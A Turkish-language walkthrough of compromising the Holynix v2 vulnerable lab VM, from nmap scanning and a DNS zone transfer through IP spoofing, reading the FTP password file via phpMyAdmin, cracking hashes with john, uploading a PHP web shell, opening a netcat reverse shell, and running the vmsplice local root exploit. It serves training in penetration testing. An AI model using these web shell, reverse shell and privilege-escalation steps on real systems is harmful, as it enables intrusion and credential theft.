Holynix v2 için vmware'de ağ adaptörü host-only seçildi. Holynix'in ip adresi önceden bilindiği için (**192.168.1.88)** vmnet1 ağını taramaya gerek yok ama bilinmeseydi bütün subnet'e ping atılarak ip adresi öğrenilebilirdi.

Saldırganın vmnet ağındaki ip adresini öğrenmek için:
root@kali:~# **ifconfig vmnet1**
vmnet1 Link encap:Ethernet HWaddr 00:50:56:c0:00:01
inet addr:**192.168.133.1** Bcast:192.168.133.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1632269 errors:0 dropped:0 overruns:0 frame:0
TX packets:2076242 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

ping atma:
root@kali:~# **nmap -sn -n 192.168.133.0/24**

Starting Nmap 6.40 (http://nmap.org) at 2013-08-15 14:27 EEST
Nmap scan report for 192.168.133.254
Host is up (0.00012s latency).
MAC Address: 00:50:56:E6:23:E4 (VMware)
Nmap scan report for 192.168.133.1
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 7.66 seconds

ping'in sonucunda başka bir makine gözükmemesinin sebebi vmnet1 ağındaki saldırganın farklı subnette olması. IP adresi değiştirilerek sorun çözülebilir:

root@kali:~# **ifconfig vmnet1 down**
root@kali:~# **ifconfig vmnet1 192.168.1.1 up**
root@kali:~# **ifconfig vmnet1**
vmnet1 Link encap:Ethernet HWaddr 00:50:56:c0:00:01
inet addr:**192.168.1.1** Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1632272 errors:0 dropped:0 overruns:0 frame:0
TX packets:2077265 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

şimdi nmap ile ping scan yapılarak holynix'in ip adresinden emin olunabilir:
root@kali:~# **nmap -sn -n 192.168.1.0/24**

Starting Nmap 6.40 (http://nmap.org) at 2013-08-15 14:34 EEST
Nmap scan report for **192.168.1.88**
Host is up (0.00044s latency).
MAC Address: 00:0C:29:13:21:B3 (VMware)
Nmap scan report for 192.168.1.1
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.25 seconds

Nmap ile çalışan işletim sistemi, servisler ve açık portlar tespit edilebilir. Elde edilen bilgiler, saldırının yönünü büyük ölçüde belirler:

root@kali:~# **nmap -sS -T4 -A -O 192.168.1.88**

Starting Nmap 6.40 (http://nmap.org) at 2013-08-15 14:15 EEST
Nmap scan report for 192.168.1.88
Host is up (0.00049s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open tcpwrapped
|_ftp-anon: ERROR: Script execution failed (use -d to debug)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
53/tcp closed domain
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: ZincFTP
MAC Address: 00:0C:29:13:21:B3 (VMware)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/).
TCP/IP fingerprint:
OS:SCAN(V=6.40%E=4%D=8/15%OT=21%CT=20%CU=44552%PV=Y%DS=1%DC=D%G=Y
%M=000C29%
OS:TM=520CB898%P=x86_64-unknown-linux-gnu)SEQ(SP=D1%GCD=1%ISR=EF%TI=Z
%CI=Z%
OS:II=I%TS=7)SEQ(CI=Z
%II=I)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW
OS:5%O4=M5B4ST11NW5%O5=M5B4ST11NW5%O6=M5B4ST11)WIN(W1=16A0%W2=16A
0%W3=16A0%
OS:W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y
%T=40%W=16D0%O=M5B4NNSNW5%CC=N%Q=)EC
OS:N(R=N)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
%RD=0%Q=)T1(R=N)T2(R=N)T3(R=N)T4(R=N
OS:)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
%T=40%W=0%S=A%
OS:A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)U1(R=N)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms 192.168.1.88

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.06 seconds

Nmap taraması sonucunda tcp 80 port'unun açık ve apache'nin çalışıyor olduğu bilgisinden yola çıkarak web sayfası görüntülenir:
web tarayıcı -> **http://192.168.1.88/**

Welcome to **www.zincftp.com**

Our nameservers are located at **ns1.zincftp.com & ns2.zincftp.com**
To access your web directory navigate to **http://username.zincftp.com**

Domain adı, name server'ların adresleri ve kullanıcılar için nasıl web dizini oluşturulduğu öğrenilir. Bunun dışında kullanıcı adı ve email ile kullanıcı girişi yapılabildiği web sayfası içeriğinden anlaşılır. Eğer name server'lardan biri ile zone transfer gerçekleştirilirse, o server'a kayıtlı olan bütün domain adları ve ip adresleri öğrenilebilir.

Saldırgan dig aracını kullanarak bu serverlardan bilgi elde edebilir:
ip adresi: 192.168.1.88
domain adı: zincftp.com

root@kali:~# **dig @192.168.1.88 zincftp.com any**

```
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.1.88 zincftp.com any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14604
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 3

;; QUESTION SECTION:
;zincftp.com.                   IN      ANY

;; ANSWER SECTION:
zincftp.com.            38400   IN      SOA     ns1.zincftp.com. ns2.zincftp.com. 2006071801 28800
3600 604800 38400
zincftp.com.            38400   IN      NS      ns2.zincftp.com.
zincftp.com.            38400   IN      NS      ns1.zincftp.com.
zincftp.com.            38400   IN      MX      10 mta.zincftp.com.
zincftp.com.            38400   IN      A       192.168.1.88

;; ADDITIONAL SECTION:
ns1.zincftp.com.        38400   IN      A       192.168.1.88
ns2.zincftp.com.        38400   IN      A       192.168.1.89
mta.zincftp.com.        38400   IN      A       10.0.192.48

;; Query time: 0 msec
;; SERVER: 192.168.1.88#53(192.168.1.88)
;; WHEN: Thu Aug 15 15:00:33 2013
;; MSG SIZE  rcvd: 185
```

Name server'ların ip adresini öğrenmenin yanında, mail sunucusunun da adresi öğrenilmiş oldu. Şimdi axfr argümanı ile zone transfer denenmeli:

root@kali:~# **dig @192.168.1.88 zincftp.com axfr**

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.1.88 zincftp.com axfr
; (1 server found)
;; global options: +cmd
; **Transfer failed**.

Malesef transfer gerçekleşmedi. Zaten gerçekleşmesi de beklenemezdi çünkü nmap taramasında tcp 53 kapalı gözüküyordu. Genellikle name serverlar zone transfer için tcp 53'ü birbirlerine kapatmazlar. Diğer name server'in (**ns2.zincftp.com**) ip adresi (**192.168.1.89**) öğrenilmişti. Eğer saldırgan ip adresini **192.168.1.89** yaparsa zone transfer gerçekleştirilebilir.

root@kali:~# **ifconfig vmnet1 down**
root@kali:~# **ifconfig vmnet1 192.168.1.89 up**

IP adresi değiştirildikten sonra tcp 53'ün açık olup olmadığına bakılır:
root@kali:~# **nmap -sS -p 53 192.168.1.88**

Starting Nmap 6.40 (http://nmap.org) at 2013-08-15 15:20 EEST
Nmap scan report for 192.168.1.88
Host is up (0.00041s latency).
PORT STATE SERVICE
53/tcp open domain
MAC Address: 00:0C:29:13:21:B3 (VMware)

Görüldüğü üzere tcp 53 açık. Şimdi zone transfer gerçekleştirilebilir:
root@kali:~# **dig @192.168.1.88 zincftp.com axfr**

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> @192.168.1.88 zincftp.com axfr
; (1 server found)
;; global options: +cmd
zincftp.com. 38400 IN SOA ns1.zincftp.com. ns2.zincftp.com. 2006071801 28800 3600 604800 38400
zincftp.com. 38400 IN NS ns1.zincftp.com.
zincftp.com. 38400 IN NS ns2.zincftp.com.
zincftp.com. 38400 IN MX 10 mta.zincftp.com.
zincftp.com. 38400 IN A 192.168.1.88
ahuxley.zincftp.com. 38400 IN A 192.168.1.88
amckinley.zincftp.com. 38400 IN A 192.168.1.88
bzimmerman.zincftp.com. 38400 IN A 192.168.1.88
cbergey.zincftp.com. 38400 IN A 192.168.1.88
cfinnerly.zincftp.com. 38400 IN A 192.168.1.88
cjalong.zincftp.com. 38400 IN A 192.168.1.88
cmahong.zincftp.com. 38400 IN A 192.168.1.88
cmanson.zincftp.com. 38400 IN A 192.168.1.88
ddonnovan.zincftp.com. 38400 IN A 192.168.1.88
ddypsky.zincftp.com. 38400 IN A 192.168.1.88
dev.zincftp.com. 38400 IN A 192.168.1.88
dhammond.zincftp.com. 38400 IN A 192.168.1.88

```
dmoran.zincftp.com.  38400 IN      A       192.168.1.88
dsummers.zincftp.com.        38400 IN      A       192.168.1.88
evorhees.zincftp.com.38400 IN      A       192.168.1.88
gwelch.zincftp.com.  38400 IN      A       192.168.1.88
hmcknight.zincftp.com.       38400 IN      A       192.168.1.88
jgacy.zincftp.com.   38400 IN      A       192.168.1.88
jsmith.zincftp.com.  38400 IN      A       192.168.1.88
jstreet.zincftp.com. 38400 IN      A       192.168.1.88
kmccallum.zincftp.com.       38400 IN      A       192.168.1.88
lnickerbacher.zincftp.com. 38400 IN A       192.168.1.88
lsanderson.zincftp.com.      38400 IN      A       192.168.1.88
lwestre.zincftp.com. 38400 IN      A       192.168.1.88
mta.zincftp.com.     38400 IN      A       10.0.192.48
ncobol.zincftp.com.  38400 IN      A       192.168.1.88
ns1.zincftp.com.     38400 IN      A       192.168.1.88
ns2.zincftp.com.     38400 IN      A       192.168.1.89
rcropper.zincftp.com. 38400 IN     A       192.168.1.88
rfrost.zincftp.com.  38400 IN      A       192.168.1.88
rwoo.zincftp.com.    38400 IN      A       192.168.1.88
skrymple.zincftp.com.        38400 IN      A       192.168.1.88
splath.zincftp.com.  38400 IN      A       192.168.1.88
tmartin.zincftp.com. 38400 IN      A       192.168.1.88
trusted.zincftp.com. 38400 IN      A       192.168.1.34
www.zincftp.com.     38400 IN      A       192.168.1.88
zincftp.com.         38400 IN      SOA     ns1.zincftp.com. ns2.zincftp.com. 2006071801 28800
3600 604800 38400
;; Query time: 1 msec
;; SERVER: 192.168.1.88#53(192.168.1.88)
;; WHEN: Thu Aug 15 15:18:13 2013
;; XFR size: 42 records (messages 1, bytes 1021)
```

Kayıtlı olan bir çok adres öğrenildi. Bu adreslerden birinin hem ismi (**trusted.zincftp.com**) hem ip adresi (**192.168.1.34**) diğerlerinden farklı. Bu domain adreslerine erişebilmek için **etc/resolv.conf** dosyasını açıp dns'in **192.168.1.88** olarak değiştirilmesi gerekmektedir. Adreslere sırayla girilip işe yarar bilgi elde edilebilir mi diye bakılır. http://ddonnovan.zincftp.com adresinde resume.txt dosyası incelendiğinde David Donnovan'ın admin olma ve dolayısıyla daha fazla kullanıcı hakkının olma ihtimali farkedilecektir:

```
Work History:
        Zincftp, San Diego, CA (2008 - Present)
        Network Specialist

        Cyclone Technologies, Memphis, TN (2000 - 2008)
        Network Specialist

        ABC Solutions Stanford, CT (1994 - 2000)
        Network Administrator

Tasks:


    * Installed, troubleshoot, and maintained routers.
    * Worked with UNIX, IBM, and Macintosh computers as networked systems.
```

```
    * Monitored and troubleshoot all types of network components.
    * Deployed narrowband, broadband and wireless solutions.
    * Supported network services relating to desktop connectivity.

Skills and Knowledge:

    * Responsible for supporting entire software network.
    * Responsible for all hardware and software installation and configuration.
    * Set up hardware for a vast network.
    * Generate and maintain operating systems.
    * Technical support services to personal computer.

Certifications:

    * Certified Network Administrator (CNA)
    * Network Systems Specialist, Microsoft Certified
```

DirBuster aracı kullanılarak yaygın olarak kullanılan dizin ve dosya isimlerinin web server'da olup olmadığı öğrenilebilir. http://192.168.1.88:80/ adresine dirBuster'ın kendi wordlistlerinden biri ile (/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt) bruteforce yapıldığında **phpMyAdmin**, **server-status** ve **setup-guides** isimli dizinlerin olduğu ama erişim hakkının olmadığı tespit edilir. (response olarak 403 dönüyor.) Zone transfer yapıldığında dikkat çeken **trusted.zincftp.com** adresinin ipsi alınarak denemek işe yarayabilir:

root@kali:~# **ifconfig vmnet1 down**
root@kali:~# **ifconfig vmnet1 192.168.1.34 up**

Bu ip adresi sayesinde http://192.168.1.88/phpMyAdmin/ ve http://192.168.1.88/setup_guides/ adreslerine erişim sağlandı ancak http://192.168.1.88/server-status adresine erişilemedi.

http://192.168.1.88/setup_guides/todo adresinde sisteme nasıl yeni ftp kullanıcısı ekleneceği bilgisi elde edilir:

```
<!--
Adding new users to the system
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

create user
        useradd -g ftp_users -s /bin/false -d /home/<username> -m <username>

create web dir
        mkdir /home/<username>/web

set ownership so ftp can write to dir
        chown -R vftp:ftp_users /home/<username>

add ftp user
        pure-pw useradd <username> -u vftp -g ftp_users -d /home/<username>

update /etc/pure-ftpd/pureftpd.passwd file
        pure-pw mkdb
-->
```

Ayrıca kullanıcı şifrelerinin **/etc/pure-ftpd/pureftpd.passwd** dosyasında saklandığı da öğrenilmiş oldu. Daha sonra bu dosyanın içeriği phpMyAdmin'den sorgu çalıştırılarak okunabilir mi diye bakılır.

http://192.168.1.88/phpMyAdmin/ adresine bağlanılabildiğine göre veritabanı ve tablolar incelenebilir. phpMyAdmin'e girip zincftp_data veritabanına kayıtlı user_requests tablosu incelendiğinde daha önce istek gönderen iki kullanıcı ismi ve email'i öğrenilir:

id	user	email
1	shanover	shaun_hanover@gmail.com
2	lbauimann	lucasb@aol.com

Zincftp_data veritabanına sifreler isimli tablo aşağıdaki sorgu ile oluşturulur:
CREATE TABLE sifreler (sifre VARCHAR(255) NOT NULL)

Sonra aşağıdaki sql sorgusu çalıştırılarak ftp şifrelerinin bulunduğu dosya sifreler tablosuna yüklenir:
LOAD DATA LOCAL INFILE '/etc/pure-ftpd/pureftpd.passwd' INTO TABLE sifreler

Bu tablodaki kayıtları görüntülemek için aşağıdaki sorgu çalıştırılır:
SELECT * FROM sifreler

Şifre özetlerini bilgisayara indirmek için:
Bütün satırlar seçilip export butonuna tıklanır. Açılan sayfada export formatı seçilir ve go butonuna tıklanarak dosya dışa aktarılır. Özetlerin bir dosyada aşağıdaki gibi olması john ile şifre kırma için yeterlidir:

cmahong:1vUW5q3t0$9RZSkReNoWGCaPtL7ixLX0:1031:2002::/home/cmahong/./::::::::::::
jstreet:1sBGmOuB0$TPHx0jBSFjtJu7dJXb4Nw/:1031:2002::/home/jstreet/./::::::::::::

Özetlerin yer aldığı dosya sifreozetleri ismiyle kaydedildi. Wordlist olarak ise rockyou şifrelerinde en çok kullanılan elli bin sözcük kullanıldı. Bu wordlist aşağıdaki linkten indirilebilir:
http://contest-2010.korelogic.com/wordlists/RockYou-MostPopular50000PassesLetters.dic

John ile şifre özetlerini kırmak için:
root@kali:~/Desktop# **john --wordlist=RockYou-MostPopular50000PassesLetters.dic sifreozetleri**
Loaded 31 password hashes with 31 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
millionaire (tmartin)
guesses: 1 time: 0:00:00:41 DONE (Mon Aug 19 14:56:49 2013) c/s: 33751 trying: nofriends - nocomment
Use the "--show" option to display all of the cracked passwords reliably

Daha kapsamlı bir wordlist ile daha iyi sonuç alınabilirdi. Örneğin rockyou wordlistinin tamamı ya da https://crackstation.net adresinden indirilebilen bir buçuk milyar kelimelik wordlist. Ancak büyük wordlistler daha çok zaman alacağından ve saldırgana sadece bir kullanıcının şifresi yettiğinden gerek yoktu.

Şifresi elde edilen Tmartin kullanıcısıyla ftp bağlantısı gerçekleştirilir:

root@kali:~# **ftp 192.168.1.88**
Connected to 192.168.1.88.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5 allowed.
220-Local time is now 10:30. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.1.88:root): tmartin
331 User tmartin OK. Password required
Password: **millionaire**
230-User tmartin has group access to: 2002
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.

Dizin içerini görüntülemek için ls komutu kullanılır:
ftp> **ls**
200 PORT command successful
150 Connecting to port 44378
-rw-r--r-- 1 1031 2002 1004 Dec 6 2010 mystuff.rar
drwxr-xr-x 2 1031 2002 4096 Dec 5 2010 web
226-Options: -l
226 2 matches total

get komutuyla mystuff.rar dosyası saldırganın bilgisayarına indirilir:
ftp> **get mystuff.rar**
local: mystuff.rar remote: mystuff.rar
200 PORT command successful
150 Connecting to port 50226
226-File successfully transferred
226 0.003 seconds (measured here), 310.49 Kbytes per second
1004 bytes received in 0.00 secs (307.2 kB/s)

web dizinine girilip içeriği görüntülenir:
ftp> **cd web**
250 OK. Current directory is /web

tmartin kullanıcısının web dizinene shell atılarak uzaktan erişim sağlanabilir. İnternetten indirilebilir bir çok reverse shell bulunabilir. Saldırgan aşağıdaki kodu shell.php isimli bir dosyaya kaydedip kullanıcının web dizinine yükledikten sonra, Netcat yardımıyla reverse shell oluşturabilir:

<?php system($_REQUEST['komut']); ?>

tmartin kullanıcısının web dizinine shell.php dosyasını yükleme:
ftp> **put shell.php**
local: shell.php remote: shell.php
200 PORT command successful
150 Connecting to port 47386

226-File successfully transferred
226 0.001 seconds (measured here), 59.39 Kbytes per second
36 bytes sent in 0.00 secs (1004.5 kB/s)

ftp> **ls**
200 PORT command successful
150 Connecting to port 50781
-rw-r--r-- 1 1031 2002 36 Aug 21 16:08 shell.php
226-Options: -l
226 1 matches total

Dosya başarıyla yüklendiğine göre netcat ile 1234 port'u dinlenir:
root@kali:~# **nc -lvp 1234**
listening on [any] 1234 ...

web tarayıcı ile shell.php görüntülenebilir. Çalıştırılmak istenen komutlar aşağıdaki gibi girilmelidir. Çalıştırılmak istenen komut: **nc 192.168.1.34 1234 -e bin/bash**
Web tarayıcı -> **http://tmartin.zincftp.com/shell.php?komut=nc 192.168.1.34 1234 -e bin/bash**

192.168.1.88: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.34] from (UNKNOWN) [192.168.1.88] 60171

Bağlantı sağlandı. Python komut çıklarının daha düzgün görünmesi için yardımcı olabilir:
python -c "import pty;pty.spawn('/bin/bash')"

işletim sistemi bilgilerini görüntülemek için aşağıdaki komut çalıştırılır:
www-data@holynix2:/home/tmartin/web$ **uname -a**
uname -a
Linux holynix2 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux

Linux versiyonu internette aratıldığında ilgili zayıflık ve istismar kodu bulunabilir (Local root exploit in kernel 2.6.17 - 2.6.24 vmsplice) :
https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.22/+bug/190587
http://www.exploit-db.com/exploits/5092/
İstismar kodu ilgili linkten indirilir ya da kali gibi bir dağıtım kullanılıyorsa exploitdb dizininde bulunabilir. Aşağıdaki kod ile istismar kodunun bilgisayarda olup olmadığı tespit edilir:

root@kali:~# **searchsploit vmsplice**
 Description Path
--- ---
Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit /linux/local/5092.c
Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit /linux/local/5092.c
Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit /linux/local/5092.c
Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit /linux/local/5093.c
Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit /linux/local/5093.c
Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit /linux/local/5093.c

Saldırgan, bulunan istismar kodunu root dizinine kopyaladıktan sonra ftp ile kurban sisteme upload eder:

root@kali:/# **cd /usr/share/exploitdb/platforms/linux/local**
root@kali:/usr/share/exploitdb/platforms/linux/local# **cp 5092.c /root**

ftp> **put 5092.c**
local: 5092.c remote: 5092.c
200 PORT command successful
150 Connecting to port 54513
226-File successfully transferred
226 0.004 seconds (measured here), 1.69 Mbytes per second
6293 bytes sent in 0.00 secs (2719.3 kB/s)
ftp> **ls**
200 PORT command successful
150 Connecting to port 46267
-rw-r--r-- 1 1031 2002 6293 Aug 21 16:31 5092.c
-rw-r--r-- 1 1031 2002 36 Aug 21 16:08 shell.php
226-Options: -l
226 2 matches total

Görüldüğü gibi sisteme yerel istismar kodu yüklendi ancak dosya izinlerine bakıldığında gcc ile derlenemeyeceği anlaşılıyor. Bundan dolayı dosya tmp dizinine kopyalanır ve derlenir.

www-data@holynix2:/home/tmartin/web$ **cp 5092.c /tmp**
cp 5092.c /tmp
www-data@holynix2:/home/tmartin/web$ **cd /tmp**
cd /tmp

Derlemek için:
www-data@holynix2:/tmp$ **gcc 5092.c -o 5092**
gcc 5092.c -o 5092

İstismar kodu çalıştırılır:
www-data@holynix2:/tmp$ **./5092**
./5092

 Linux vmsplice Local Root Exploit
 By qaaz

[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e1b000 .. 0xb7e4d000
[+] root

root@holynix2:/tmp# **id**
id
uid=0(root) gid=0(root) groups=33(www-data)

İstismar kodu çalıştı ve root olundu.